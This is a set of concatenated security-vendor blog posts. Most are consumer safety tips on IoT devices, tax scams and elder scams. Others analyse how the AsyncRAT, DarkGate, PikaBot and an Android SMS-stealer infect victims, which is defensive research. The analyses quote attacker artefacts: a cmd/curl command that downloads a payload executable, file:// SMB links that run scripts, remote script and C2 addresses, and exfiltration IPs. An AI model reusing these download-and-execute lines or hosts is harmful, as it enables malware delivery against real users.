Some IoT devices have found themselves open to attack because they come with a default username and password—which are often published on the internet. When you purchase any IoT device, set a fresh password using a strong method of password creation. And keep those passwords safe. Instead of keeping them in a notebook or on sticky notes, consider using a password manager.
3) Use two-factor authentication
You’ve probably come across two-factor authentication while banking, shopping, or logging into any other number of accounts. Using a combination of your username, password, and a security code sent to another device you own (typically a mobile phone) makes it tougher for hackers to crack your device. If your IoT device supports two-factor authentication, use it for extra security.
4) Update your devices regularly
This is vital. Make sure you have the latest updates so that you get the latest functionality from your device. Equally important is that updates often contain security upgrades. If you can set your device to receive automatic updates, do so.
5) Secure your internet router
Your medical IoT device will invariably use your home Wi-Fi network to connect to the internet, just like your other devices. All the data that travels on there is personal and private, and that goes double for any health data that passes along it. Make sure you use a strong and unique password. Also, change the name of your router so it doesn’t give away your address or identity. One more step is to check that your router is using an encryption method, like WPA2, which will keep your signal secure. You may also want to consider investing in an advanced internet router that has built-in protection, which can secure and monitor any device that connects to your network.
6) Use a VPN and a comprehensive security solution
Similar to the above, another way you can further protect the health data you send over the internet is to use a virtual private network, or VPN. A VPN uses an encrypted connection to send and receive data, which shields it from prying eyes. A hacker attempting to eavesdrop on your session will effectively see a mishmash of garbage data, which helps keep your health data secure.
7) When purchasing, do your research
Read up on reviews and comments about the devices you’re interested in, along with news articles about their manufacturers. See what their track record is on security, such as if they’ve exposed data or otherwise left their users open to attack.
Bottom line, when we speak of connected healthcare, we’re ultimately speaking about one of the most personal things you own: your health data. That’s what’s being collected. And that’s what’s being transmitted by your home network. Take these extra measures to protect your devices, data, and yourself as you enjoy the benefits of the connected care you bring into your life and home.

AsyncRAT, also known as “Asynchronous Remote Access Trojan,” represents a highly sophisticated malware variant meticulously crafted to breach computer systems security and steal confidential data. McAfee Labs has recently uncovered a novel infection chain, shedding light on its potent lethality and the various security bypass mechanisms it employs.
It utilizes a variety of file types, such as PowerShell, Windows Script File (WSF), VBScript (VBS), and others within a malicious HTML file. This multifaceted approach aims to circumvent antivirus detection methods and facilitate the distribution of infection.
Figure 1: AsyncRAT prevalence for the last one month
The infection initiates through a spam email containing an HTML page attachment. Upon unwittingly opening the HTML page, an automatic download of a Windows Script File (WSF) ensues. This WSF file is deliberately named in a manner suggestive of an Order ID, fostering the illusion of legitimacy and enticing the user to execute it. Subsequent to the execution of the WSF file, the infection progresses autonomously, necessitating no further user intervention. The subsequent stages of the infection chain encompass the deployment of Visual Basic Script (VBS), JavaScript (JS), Batch (BAT), Text (TXT), and PowerShell (PS1) files. Ultimately, the chain culminates in a process injection targeting aspnet_compiler.exe.
Figure 2: Infection Chain
Upon opening a spam email, the recipient unwittingly encounters a web link embedded within its contents. Upon clicking on the link, it triggers the opening of an HTML page. Simultaneously, the page initiates the download of a WSF (Windows Script File), setting into motion a potentially perilous sequence of events.
Figure 3:HTML page
The HTML file initiates the download of a WSF file. Disguised as an order-related document with numerous blank lines, the WSF file conceals malicious intent. After its execution, no user interaction is required.
On executing wsf, we get the following process tree:
Figure 4: Process tree
Figure 5:Content of wsf file
The downloaded text file, named “1.txt,” contains specific lines of code. These lines are programmed to download another file, referred to as “r.jpg,” but it is actually saved in the public folder under the name “ty.zip.” Subsequently, this zip file is extracted within the same public folder, resulting in the creation of multiple files.
Figure 6: Marked files are extracted in a public folder
a) The “ty.zip” file comprises 17 additional files. Among these, the file named “basta.js” is the first to be executed. The content of “basta.js” is as follows:
Figure 7: basta.js
b) “basta.js” invoked “node.bat” file from the same folder.
Figure 8: node.js
Explaining the command present in node.bat:
To summarize, the command sets up a scheduled task called “cafee” which is designed to execute the “app.js” script found in the C:\Users\Public\ directory every 2 minutes. The primary purpose of this script is to maintain persistence on the system.
Figure 9: Schedule task entry
c) Now “app.js” is executed and it executes “t.bat” from the same folder.
Figure 10:app.js
d) “t.bat” has little obfuscated code which after concatenating becomes: “Powershell.exe -ExecutionPolicy Bypass -File “”C:\Users\Public\t.ps1”
Figure 11: Content of t.bat
e) Now the powershell script “t.ps1” is invoked. This is the main script that is responsible for injection.
Figure 12: Content of t.ps1
There are 2 functions defined in it:
A) function fun_alosh()
This function is used in the last for decoding $tLx and $Uk
B) Function FH ()
This function is used only once to decode the content of “C:\\Users\\Public\\Framework.txt”. This function takes a binary string as input, converts it into a sequence of ASCII characters, and returns the resulting string.
Figure 13: Content of Framework.txt
After decoding the contents of “C:\Users\Public\Framework.txt” using CyberChef, we are able to reveal the name of the final binary file targeted for injection.
Figure 14: Binary to Hex, Hex to Ascii Conversion using CyberChef
This technique aims to evade detection by concealing suspicious keywords within the script. Same way other keywords are also stored in txt files, such as:
Content of other text files are:
Figure 15: Content of other files
After replacing all the names and reframing sentences. Below is the result.
Figure 16: Injection code
Now, the two variables left are decrypted by fun_alosh.
After decrypting and saving them, it was discovered that both files are PE files, with one being a DLL ($tLx) and the other an exe ($Uk).

Once all background tasks are finished, a deceptive Amazon page emerges solely to entice the user.
Figure 19: Fake Amazon page
The Dll file is packed with confuserEX and as shown, the type is mentioned ‘NewPE2.PE’ and Method is mentioned ‘Execute’.
Figure 20: Confuser packed DLL
The second file is named AsyncClient123 which is highly obfuscated.
Figure 21: AsyncRat payload
To summarize the main execution flow of “AsyncRAT”, we can outline the following steps:
The decrypting function is used to decrypt strings.

Figure 28: C2 communication
In this blog post, we dissect the entire attack sequence of AsyncRAT, beginning with an HTML file that triggers the download of a WSF file, and culminating in the injection of the final payload. Such tactics are frequently employed by attackers to gain an initial foothold. We anticipate a rise in the utilization of these file types following Microsoft’s implementation of protections against malicious Microsoft Office macros, which have also been widely exploited for malware delivery. McAfee labs consistently advise users to refrain from opening files from unknown sources, particularly those received via email. For organizations, we highly recommend conducting security training for employees and implementing a secure web gateway equipped with advanced threat protection. This setup enables real-time scanning and detection of malicious files, enhancing organizational security.

The post From Spam to AsyncRAT: Tracking the Surge in Non-PE Cyber Threats appeared first on McAfee Blog.

McAfee Labs has recently uncovered a novel infection chain associated with DarkGate malware. This chain commences with an HTML-based entry point and progresses to exploit the AutoHotkey utility in its subsequent stages. DarkGate, a Remote Access Trojan (RAT) developed using Borland Delphi, has been marketed as a Malware-as-a-Service (MaaS) offering on a Russian-language cybercrime forum since at least 2018. This malicious software boasts an array of functionalities, such as process injection, file download and execution, data theft, shell command execution, keylogging capabilities, among others. Following is the spread of DarkGate observed in our telemetry for last three months:
Figure 1: Geo-Distribution of DarkGate
Additionally, DarkGate incorporates numerous evasion tactics to circumvent detection. DarkGate notably circumvented Microsoft Defender SmartScreen, prompting Microsoft to subsequently release a patch to address this vulnerability.
In the previous year, CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) was identified and subsequently patched https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 . CVE-2023-36025 is a vulnerability impacting Microsoft Windows Defender SmartScreen. This flaw arises from the absence of proper checks and corresponding prompts related to Internet Shortcut (.url) files. Cyber adversaries exploit this vulnerability by creating malicious .url files capable of downloading and executing harmful scripts, effectively evading the warning and inspection mechanisms of Windows Defender SmartScreen. This year, same way, CVE-2024-21412 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) was identified and patched. This vulnerability is about “Internet Shortcut Files Security Feature Bypass Vulnerability”.
McAfee Labs has identified two distinct initial vectors carrying identical DarkGate shellcode and payload. The first vector originates from an HTML file, while the second begins with an XLS file. We will delve into each chain individually to unveil their respective mechanisms. Below is the detailed infection chain for the same:
Figure 2: Infection Chain
The infection chain initiates with a phishing HTML page masquerading as a Word document. Users are prompted to open the document in “Cloud View” (shown in the figure below), creating a deceptive lure for unwitting individuals to interact with malicious content.
Figure 3: HTML page
Upon clicking “Cloud View,” users are prompted to grant permission to open Windows Explorer, facilitating the subsequent redirection process.
Figure 4: Prompt confirming redirection to Windows Explorer
Upon granting permission and opening Windows Explorer, users encounter a file depicted within the Windows Explorer interface. The window title prominently displays “\\onedrive.live.com,” adding a veneer of legitimacy to the purported “Cloud View” experience.
Figure 5: Share Internet Shortcut via SMB
In our investigation, we sought to trace the origin of the described phishing scheme back to its parent HTML file. Upon inspection, it appears that the highlighted content in the image may be a string encoded in reverse Base64 format. This suspicion arises from the presence of a JavaScript function (shown in the figure below) designed to reverse strings, which suggests an attempt to decode or manipulate encoded data.
Figure 6: Javascript in HTML code
On reversing and base64 decoding the yellow highlighted content in Figure 6, we found:
Figure 7: WebDAV share
The URL utilizes the “search-ms” application protocol to execute a search operation for a file named “Report-26-2024.url”. The “crumb” parameter is employed to confine the search within the context of the malicious WebDAV share, restricting its scope. Additionally, the “DisplayName” element is manipulated to mislead users into believing that the accessed resource is associated with the legitimate “onedrive.live.com” folder, thereby facilitating deception.
Hence, the presence of “onedrive.live.com” in the Windows Explorer window title is a direct consequence of the deceptive manipulation within the URL structure.
The file is an Internet Shortcut (.url) file, containing the following content:
Figure 8: content of .URL file
The .url files serve as straightforward INI configuration files, typically consisting of a “URL=” parameter indicating a specific URL. In our scenario, the URL parameter is defined as follows: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.
Upon execution of the .url file, it will initiate the execution of the VBScript file specified in the URL parameter. This process allows for the automatic execution of the VBScript file, potentially enabling the execution of malicious commands or actions on the system.
The vulnerability CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) pertains to Microsoft Windows Defender SmartScreen failing to issue a security prompt prior to executing a .url file from an untrusted source. Attackers exploit this by constructing a Windows shortcut (.url) file that sidesteps the SmartScreen protection prompt. This evasion is achieved by incorporating a script file as a component of the malicious payload delivery mechanism. Although Microsoft has released a patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 to address this vulnerability, it remains exploitable in unpatched versions of Windows.
If your system is not patched and updated, you will not see any prompt. However, if your system is updated, you will encounter a prompt like:
Figure 9: SmartScreen prompt
On allowing execution, the vbs file is dropped at C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29. This file will run automatically on execution of url file and we get the following process tree:
Figure 10: Process tree
Following are the command lines:
The sequence of commands begins with the execution of the VBScript file located at “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”. This VBScript subsequently utilizes PowerShell to execute a script obtained from the specified URL (‘withupdate.com/zuyagaoq’) via the Invoke-RestMethod cmdlet. Upon executing the downloaded script, it proceeds to command and execute the AutoHotkey utility, employing a script located at the designated path (C:/rjtu/script.ahk). Subsequently, the final command utilizes the attrib tool to set the hidden attribute (+h) for the specified directory (C:/rjtu/).
Inspecting the URL “withupdate.com/zuyagaoq” explicitly allows for a detailed understanding of the infection flow:
Figure 11: Remote Script on the C2
This URL leads to a script:
Figure 13: Remote script content
Explanation of the script:
Checking “C:/rjtu”:
Figure 14: Dropped folder
AutoHotkey is a scripting language that allows users to automate tasks on a Windows computer. It can simulate keystrokes, mouse movements, and manipulate windows and controls. By writing scripts, users can create custom shortcuts, automate repetitive tasks, and enhance productivity.
To execute an AutoHotkey script, it is passed as a parameter to the AutoHotkey executable (autohotkey.exe).
Following is the ahk script file content:
Figure 15: Content of .ahk script
There are a lot of comments added in the script, simplifying the script, we get:
Figure 16: .ahk script after removing junk
This script reads the content of “test.txt” into memory, allocates a memory region in the process’s address space, writes the content of “test.txt” as hexadecimal bytes into that memory region, and finally, it executes the content of that memory region as a function. This script seems to be executing instructions stored in “test.txt”.
Now, it’s confirmed that the shellcode resides within the contents of “test.txt”. This is how the text.txt appears:
Figure 17: Content of test.txt
We analyzed the memory in use for Autohotkey.exe.
Figure 19: Memory dump of running AutoHotKey.exe same as test.txt
This is the shellcode present here. The first 6 bytes are assembly instructions:
Following the jump instructions of 3bf bytes, we reach the same set of instructions again:
Figure 21: Same Shellcode A after jump
This means another jump with be taken for another 3bf bytes:
Figure 22: Same Shellcode A one more time
We have encountered same set of instructions again, taking another jump we reach to:
Figure 23: New Shellcode B found next.
These bytes are again another shellcode and the region highlighted in yellow(in the figure below) is a PE file. The Instruction pointer is not at the PE currently. This shellcode needs to be decoded first.
Figure 24: Shellcode B followed by PE file highlighted
This shellcode suggests adding 71000 to the current offset and instruction pointer will be at the new location. The current offset is B3D, adding 71000 makes it 71B3D. Checking 71B3D, we get:
Figure 25: After debugging found next Shellcode C
This is again now one more set of instructions in shellcode. This is approximately 4KB in size and is appended at the end of the file.
Figure 26: Shellcode C directing to entry point of the PE file
Upon debugging this code, we figured out that in marked “call eax” instruction, eax has the address of the entry point of the final DarkGate payload. Hence this instruction finally moves the Instruction Pointer to the entry point of the PE file. This goes to the same region marked in yellow in Figure 24.
This is the final DarkGate payload which is a Delphi-compiled executable file:
Figure 27: Darkgate payload.
Upon this, we see all the network activity happening to C2 site:
Figure 28: Network Communication
Figure 29: C2 IP address
The exfiltration is done to the IP address 5.252.177.207.
Persistence:
For maintaining persistence, a .lnk file is dropped in startup folder:
Figure 30: Persistence
Content of lnk file:
Figure 31: Content of .lnk used for persistence
The shortcut file (lnk) drops a folder named “hakeede” in the “C:\ProgramData” directory.
Figure 32: Folder dropped in “C:\ProgramData”
Inside this folder, all the same files are present:
Figure 33: Same set of files present in dropped folder
Again, the ahk file is executed with the help of Autohotkey.exe and shellcode present in test.txt is executed. These files have the same SHA256 value, differing only in their assigned names.
Infection from XLS:
The malicious excel file asks the user to click on “Open” to view the content properly.
Figure 34: XLS sample
Upon clicking on “Open” button, user gets the following prompt warning the user before opening the file.
Figure 35: XLS files trying to download and run VBS file
For our analysis, we allowed the activity by clicking on “OK”. Following this we got the process tree as:
Figure 36: Process tree from Excel file
The command lines are:
The file it gets from “103.124.106[.]237/wctaehcw” has the following content:
Figure 37: Remote script simliar to previous chain
From this point onward, the infection process mirrors the previously discussed chain. All three files, including AutoHotKey.exe, a script file, and a text file, are downloaded, with identical artifacts observed throughout the process.

The post Redline Stealer: A Novel Approach appeared first on McAfee Blog.
Authored by Anuradha and Preksha
PikaBot is a malicious backdoor that has been active since early 2023. Its modular design is comprised of a loader and a core component. The core module performs malicious operations, allowing for the execution of commands and the injection of payloads from a command-and-control server. The malware employs a code injector to decrypt and inject the core module into a legitimate process. Notably, PikaBot employs distribution methods, campaigns, and behavior reminiscent of Qakbot.
PikaBot, along with various other malicious loaders like QBot and DarkGate, heavily depends on email spam campaigns for distribution. Its initial access strategies are intricately crafted, utilizing geographically targeted spam emails tailored for specific countries. These emails frequently include links to external Server Message Block (SMB) shares hosting malicious zip files.
SMB shares refer to resources or folders on a server or computer accessible to other devices or users on a network using the SMB protocol. The threat actors frequently exploit such shares for malware distribution. In this instance, the act of downloading and opening the provided zip file leads to PikaBot infection.
During February 2024, McAfee Labs observed a significant change in the campaigns that distribute Pikabot.
Pikabot is distributed through multiple file types for various reasons, depending on the objectives and nature of the attack. Using multiple file types allows attackers to exploit diverse attack vectors. Different file formats may have different vulnerabilities, and different ways of detection by security software so attackers may try various formats to increase their chances of success and evade detection by bypassing specific security measures.
Attackers often use file types that are commonly trusted by users, such as Zip or Office documents, to trick users into opening them. By using familiar file types, attackers increase the likelihood that their targets will interact with the malicious content. Malware authors use HTML with JavaScript features as attachments, a common technique, particularly when email formatting is converted to plain text, resulting in the attachment of the HTML content directly to the email. Attackers use SMB to propagate across the network and may specifically target SMB shares to spread their malware efficiently. Pikabot takes advantage of the MonikerLink bug and attaches an SMB link in the Outlook mail itself.
Figure 1. Distinctive Campaigns of Pikabot
Attackers demonstrated a diverse range of techniques and infection vectors in each campaign, aiming to deliver the Pikabot payload. Below we have summarized the infection vector that has been used in each campaign.
It is uncommon for an adversary to deploy so many attack vectors in the span of a month.
In this section, a comprehensive breakdown of the analysis for each campaign is presented below.
In this campaign, Pikabot is distributed through a zip file that includes an HTML file. This HTML file then proceeds to download a text file, ultimately resulting in the deployment of the payload.
The below HTML code is a snippet from the malware where it is a properly aligned HTML that has a body meta redirection to a remote text file hosted at the specified URL. There are distractions in the HTML which are not rendered by the browser.
Figure 2.HTML Code
The above highlighted meta tag triggers an immediate refresh of the page and redirects the browser to the specified URL: ‘file://204.44.125.68/mcqef/yPXpC.txt’. This appears to be a file URL, pointing to a text file on a remote server.
Here are some reasons why an attacker might choose a meta tag refresh over traditional redirects:
Stealth and Evasion: Meta tag refreshes can be less conspicuous than HTTP redirects. Some security tools and detection mechanisms may be more focused on identifying and blocking known redirect patterns.
Client-Side Execution: Meta tag refreshes occur on the client side (in the user’s browser), whereas HTTP redirects are typically handled by the server. This may allow attackers to execute certain actions directly on the user’s machine, making detection and analysis more challenging.
Dynamic Behavior: Meta tag refreshes can be dynamically generated and inserted into web pages, allowing attackers to change the redirection targets more easily and frequently. This dynamic behavior can make it harder for security systems to keep up with the evolving threat landscape.
In this campaign, McAfee blocks the HTML file.
Figure 3.HTML file
Distributed through a compressed zip file, the package includes a .js file that subsequently initiates the execution of curl.exe to retrieve the payload.
Infection Chain:
.zip->.js->curl->.exe
Code snippet of .js file:
Figure 4. Javascript Code
When the JavaScript is executed, it triggers cmd.exe to generate directories on the C: drive and initiates curl.exe to download the payload.
Since the URL “hxxp://103.124.105.147/KNaDVX/.dat” is inactive, the payload is not downloaded to the below location.
Commandline:
‘”C:\Windows\System32\cmd.exe” /c mkdir C:\Dthfgjhjfj\Rkfjsil\Ejkjhdgjf\Byfjgkgdfh & curl hxxp://103.124.105.147/KNaDVX/0.2642713404338389.dat –output C:\Dthfgjhjfj\Rkfjsil\Ejkjhdgjf\Byfjgkgdfh\Ngjhjhjda.exe’
McAfee blocks both the javascript and the exe file thus rendering McAfee customers safe from this campaign.
Figure 5. JS file
Figure 6. EXE file
In this campaign, Malware leverages the MonikerLink bug by distributing malware through email conversations with older thread discussions, wherein recipients receive a link to download the payload from an SMB share. The link is directly present in that Outlook mail.
Infection Chain:
EML ->SMB share link->.zip->.exe
Spam Email:

In this campaign, McAfee successfully blocks the executable file downloaded from the SMB share.

This week, threat actors introduced a novel method to distribute their Pikabot malware. Targeted users received an Excel spreadsheet that prompted them to click on an embedded button to access “files from the cloud.”
Upon hovering over the “Open” button, we can notice an SMB file share link -file:///\\85.195.115.20\share\reports_02.15.2024_1.js.
Bundled files in Excel:
Figure 10. Bundled files inside Excel
The Excel file doesn’t incorporate any macros but includes a hyperlink directing to an SMB share for downloading the JavaScript file.
The hyperlink is present in the below relationship file.

The JS file contains mostly junk codes and a small piece of malicious code which downloads the payload DLL file saved as “nh.jpg”.
Figure 14. Calling regsvr32.exe
The downloaded DLL payload is executed by regsvr32.exe.
In this campaign, McAfee blocks the XLSX file.
Figure 15. XLSX file
In this campaign, distribution was through a compressed zip file, the package includes a .jar file which on execution drops the DLL file as payload.
Infection Chain:
.zip>.jar>.dll
On extraction, the below files are found inside the jar file.
Figure 16. Extraction of JAR file
The MANIFEST file indicates that hBHGHjbH.class serves as the Main-Class in the provided files.
The jar file on execution loads the file “163520” as a resource and drops it as .png to the %temp% location which is the payload DLL file.
Figure 17. Payload with .png extension
Following this, java.exe initiates the execution of regsvr32.exe to run the payload.
In this campaign, McAfee blocks both the JAR and DLL files.
Figure 18. JAR file

Due to a relatively high entropy of the resource section, the sample appears packed.
Figure 20. Loader Entropy
Initially, Malware allocates memory using VirtualAlloc (), and subsequently, it employs a custom decryption loop to decrypt the data, resulting in a PE file.
Figure 21. Decryption Loop
Figure 22. Decrypted to get the PE file
Once the data is decrypted, it proceeds to jump to the entry point of the new PE file. When this PE file gets executed, it injects the malicious content in ctfmon.exe with the command line argument “C:\Windows\SysWOW64\ctfmon.exe -p 1234”
Figure 23. Injection with ctfmon.exe
To prevent double infection, it employs a hardcoded mutex value {9ED9ADD7-B212-43E5-ACE9-B2E05ED5D524} by calling CreateMutexW(), followed by a call to GetLastError() to check the last error code.

As taxpayers prepare their returns for April 15th, scammers prepare too. They see tax season as high time to run all kinds of scams and identity theft schemes.
Fake accountants, fake tax software, robocalls, and more all make the list. We’ll give you a look at what’s happening out there right now. And we’ll run down several ways you can keep safe.
A commonly used tactic involves hackers posing as collectors from the IRS, as tax preparers, or government bureaus. This tactic is pretty effective due to Americans’ concerns about misfiling their taxes or accidentally running into trouble with the IRS. Scammers take advantage of this fear, manipulating innocent users into providing sensitive information or money over the phone or by email. And in extreme cases, hackers may be able to infect computers with malware via malicious links or attachments sent through IRS email scams.
Another tactic used to take advantage of taxpayers is the canceled social security number scam. Hackers use robocalls claiming that law enforcement will suspend or cancel the victim’s Social Security number in response to taxes owed. Often, victims are scared into calling the fraudulent numbers back and persuaded into transferring assets to accounts that the scammer controls. Users need to remember that the IRS will only contact taxpayers through snail mail or in person, not over the phone.
Another scam criminals use involves emails impersonating the IRS. Victims receive a phishing email claiming to be from the IRS, reminding them to file their taxes or offering them information about their tax refund via malicious links. If a victim clicks on the link, they will be redirected to a spoofed site that collects the victim’s personal data, facilitating identity theft. What’s more, a victim’s computer can become infected with malware if they click on a link with malicious code, allowing fraudsters to steal more data.
Scammers also take advantage of the fact that many users seek out the help of a tax preparer or CPA during this time. These criminals will often pose as professionals, accepting money to complete a user’s taxes but won’t sign the return. This makes it look like the user completed the return themselves. However, these ghost tax preparers often lie on the return to make the user qualify for credits they haven’t earned or apply changes that will get them in trouble. Since the scammers don’t sign, the victim will then be responsible for any errors. This could lead to the user having to repay money owed, or potentially lead to an audit.
While these types of scams can occur at any time of the year, they are especially prevalent leading up to the April tax filing due date. Consumers need to be on their toes during tax season to protect their personal information and keep their finances secure. To avoid being spoofed by scammers and identity thieves, follow these tips:
File before cybercriminals do it for you. The easiest defense you can take against tax seasons schemes is to get your hands on your W-2 and file as soon as possible. The more prompt you are to file, the less likely your data will be raked in by a cybercriminal.
Keep an eye on your credit and your identity. Keeping tabs on your credit report and knowing if your personal information has been compromised in some way can help prevent tax fraud. Together, they can let you know if someone has stolen your identity or if you have personal info on the dark web that could lead to identity theft.
Beware of phishing attempts. It’s clear that phishing is the primary tactic crooks are leveraging this tax season, so it’s crucial you stay vigilant around your inbox. This means if any unfamiliar or remotely suspicious emails come through requesting tax data, double check their legitimacy with a manager or the security department before you respond. Remember: the IRS will not initiate contact with taxpayers by email, text messages, or social media channels to request personal or financial info. So someone contacts you that way, ignore the message.
Watch out for spoofed websites. Scammers have extremely sophisticated tools that help disguise phony web addresses for DIY tax software, such as stolen company logos and site designs. To avoid falling for this, go directly to the source. Type the address of a website directly into the address bar of your browser instead of following a link from an email or internet search. If you receive any suspicious links in your email, investigating the domain is usually a good way to tell if the source is legitimate or not.
Protect yourself from scam messages. Scammers also send links to scam sites via texts, social media messages, and email. Text Scam Detector can help you spot if the message you got is a fake. It uses AI technology that automatically detects links to scam URLs. If you accidentally click, don’t worry, it can block risky sites if you do.
Clean up your personal info online. Crooks and scammers have to find you before they can contact you. After all, they need to get your phone number or email from somewhere. Sometimes, that’s from “people finder” and online data brokers that gather and sell personal info to any buyer. Including crooks. McAfee Personal Data Cleanup can remove your personal info from the data broker sites scammers use to contact their victims.
Consider an identity theft protection solution. If for some reason your personal data does become compromised, be sure to use an identity theft solution such as McAfee Identity Theft Protection, which allows users to take a proactive approach to protect their identities with personal and financial monitoring and recovery tools to help keep their identities personal and secured.

Elder scams cost seniors in the U.S. some $3 billion annually. And tax season adds a healthy sum to that appalling figure.
What makes seniors such a prime target for tax scams? The Federal Bureau of Investigation (FBI) states several factors. For one, elders are typically trusting and polite. Additionally, many own their own home, have some manner of savings, and enjoy the benefits of good credit—all of which make for an ideal victim profile.
Also according to the FBI, elders may be less able or willing to report being scammed because they may not know the exact way in which they were scammed, or they may feel a sense of shame over it, or even some combination of the two. Moreover, being scammed may instill fear that family members will lose confidence in their ability to look after their own affairs.
If there’s one thing that we can do for our elders, it’s help them raise their critical hackles so they can spot these scams and stop them in their tracks, particularly around tax time. With that, let’s see how crooks target elders, what those scams look and feel like, along with the things we can do to keep ourselves and our loved ones from getting stung.
The phone rings, and an assertive voice admonishes an elder for non-payment of taxes. The readout on the caller ID shows “Internal Revenue Service” or “IRS,” the person cites an IRS badge number, and the victim is told to pay now via a wire transfer or prepaid gift card. The caller even knows the last four digits of their Social Security Number (SSN). This is a scam.
The caller, and the claim of non-payment, are 100 percent bogus. Even with those last four digits of the SSN attempting to add credibility, it’s still bogus. (Chances are, those last four digits were compromised elsewhere and ended up in the hands of the thieves by way of the black market or dark web so that they could use them in scams just like these.)
Some IRS imposter scams take it a step further. Fraudsters will threaten victims with arrest, deportation, or other legal action, like a lien on funds or the suspension of a driver’s license. They’ll make repeated calls as well, sometimes with additional imposters posing as law enforcement as a means of intimidating elders into payment.
The IRS will never threaten you or someone you know in such a way.
In fact, the IRS will never call you to demand payment. Nor will the IRS ever ask you to wire funds or pay with a gift card or prepaid debit card. And if the IRS claims you do owe funds, you will be notified of your rights as a taxpayer and be given the opportunity to make an appeal. If there’s any question about making payments to the IRS, the IRS has specific guidelines as to how to make a payment properly and safely on their official website.
It’s also helpful to know what the IRS will do in the event you owe taxes. In fact, they have an entire page that spells out how to know it’s really the IRS calling or knocking at your door. It’s a quick read and a worthwhile one at that.
In all, the IRS will contact you by mail or in person. Should you get one of these calls, hang up. Then, report it. I’ll include a list of ways you can file a report at the end of the article.
Whether it’s a disembodied voice generated by a computer or a scripted message that’s been recorded by a person, robocalls provide scammers with another favorite avenue of attack. The approach is often quite like the phone scam outlined above, albeit less personalized because the attack is a canned robocall. However, robocalls allow crooks to cast a much larger net in the hopes of illegally wresting money away from victims. In effect, they can spam hundreds or thousands of people with one message in the hopes of landing a bite.
While perhaps not as personalized as other imposter scams, they can still create that innate sense of unease of being contacted by the IRS and harangue a victim into dialing a phony call center where they are further pressured into paying by wire or with a prepaid card, just like in other imposter scams. As above, your course of action here is to simply hang up and report it.
Here’s another popular attack. An elder gets an unsolicited email from what appears to be the IRS, yet isn’t. The phony email asks them to update or verify their personal or financial information for a payment or refund. The email may also contain an attachment which they are instructed to click and open. Again, all of these are scams.
Going back to what we talked about earlier, that’s not how the IRS will contact you. These are phishing attacks aimed at grifting prized personal and financial information that scammers can use to commit acts of theft or embezzlement. In the case of the attachment, it very well may contain malware that can do further harm to their device, finances, or personal information.
If you receive one of these emails, don’t open it. And certainly don’t open any attachments—which holds true for any unsolicited email you receive with an attachment.
Beyond simply knowing how to spot a possible attack, you can do several things to prevent one from happening in the first place.
First let’s start with some good, old-fashioned physical security. You may also want to look into purchasing a locking mailbox. Mail and porch theft are still prevalent, and it’s not uncommon for thieves to harvest personal and financial information by simply lifting it from your mailbox.
Another cornerstone of physical security is shredding paper correspondence that contains personal or financial information, such as bills, medical documents, bank statements and so forth. I suggest investing a few dollars on an actual paper shredder, which are typically inexpensive if you look for a home model. If you have sensitive paper documents in bulk, such as old tax records that you no longer need to save, consider calling upon a professional service that can drive up to your home and do that high volume of shredding for you.
Likewise, consider the physical security of your digital devices. Make sure you lock your smartphones, tablets, and computers with a PIN or password. Losing a device is a terrible strain enough, let alone knowing that the personal and financial information on them could end up in the hands of a crook. Also see if tracking is available on your device. That way, enabling device tracking can help you locate a lost or stolen item.
There are plenty of things you can do to protect yourself on the digital front too. Step one is installing comprehensive security software on your devices. This will safeguard you in several ways, such as email filters that will protect you from phishing attacks, features that will warn you of sketchy links and downloads, plus further protection for your identity and privacy—in addition to overall protection from viruses, malware, and other cyberattacks.
Additional features in comprehensive security software that can protect you from tax scams include:
And here’s one item that certainly bears mentioning: dispose of your old technology securely. What’s on that old hard drive of yours? That old computer may contain loads of precious personal and financial info on it. Look into the e-waste disposal options in your community. There are services that will dispose of and recycle old technology while doing it in a secure manner so the data and info on your device doesn’t see the light of day again.
As said earlier, don’t let a bad deed go unreported. The IRS offers the following avenues of communication to report scams.
In all, learning to recognize the scams that crooks aim at elders and putting some strong security measures in place can help prevent these crimes from happening to you or a loved one. Take a moment to act. It’s vital, because your personal information has a hefty price tag associated with it—both at tax time and any time.

McAfee Mobile Research Team has observed an active scam malware campaign targeting Android users in India. This malware has gone through three stages. The first one is the development stage, from March 2023 to July 2023, during which a couple of applications were created each month. The second is the expansion stage, from August 2023 to October 2023, during which dozens of applications were created each month. The third is the active stage, from September 2023 to the present, during which hundreds of applications were created each month. According to McAfee’s detection telemetry data, this malware has accumulated over 800 applications and has infected more than 3,700 Android devices. The campaign is still ongoing, and the number of infected devices will continue to rise.
Malware developers create phishing pages for scenarios that are easy to deceive, such as electricity bill payments, hospital appointments, and courier package bookings. Developers use different applications to load different phishing pages, which are eventually sold to scammers. In our research, more than 100 unique phishing URLs and more than 100 unique C2 URLs are created in these malicious applications. It means that each scammer can carry out scam activities independently.
Scammers use malware to attack victims. They typically contact victims via phone, text, email, or social applications to inform them that they need to reschedule services. This kind of fraud attack is a typical and effective fraud method. As a result, victims are asked to download a specific app, and submit personal information. There was a report where an Indian woman downloaded malware from a link in WhatsApp and about ₹98,000 was stolen from her. We were not able to confirm if is the same malware, but it is just one example of how these malicious applications can be distributed directly via WhatsApp.
The attack scenario appears credible, many victims do not doubt the scammers’ intentions. Following the instructions provided, they download and installed the app. In the app, victims are induced to submit sensitive information such as personal phone numbers, addresses, bank card numbers, and passwords. Once this information falls into the hands of scammers, they can easily steal funds from the victim’s bank account.
The malware not only steals victims’ bank account information via phishing web pages but also steals SMS messages on victims’ devices. Because of the stolen information, even if the bank account supports OTP authentication, the scammer can transfer all the funds. The malware uses legitimate platforms to deploy phishing pages to make it appear more trustworthy to evade detection.
McAfee Mobile Security detects this threat as Android/SmsSpy. For more information, and to get fully protected, visit McAfee Mobile Security.
We discovered that these phishing pages and malware were being sold as a service by a cyber group named ELVIA INFOTECH. A distinct difference between this malware and others is that the apps sold have a valid expiration date. When the expiration date is reached, some application links will redirect to a payment notification page. The notification is clearly to request the purchaser to pay a fee to restore the use of the malware.
Figure 1. Payment notification.
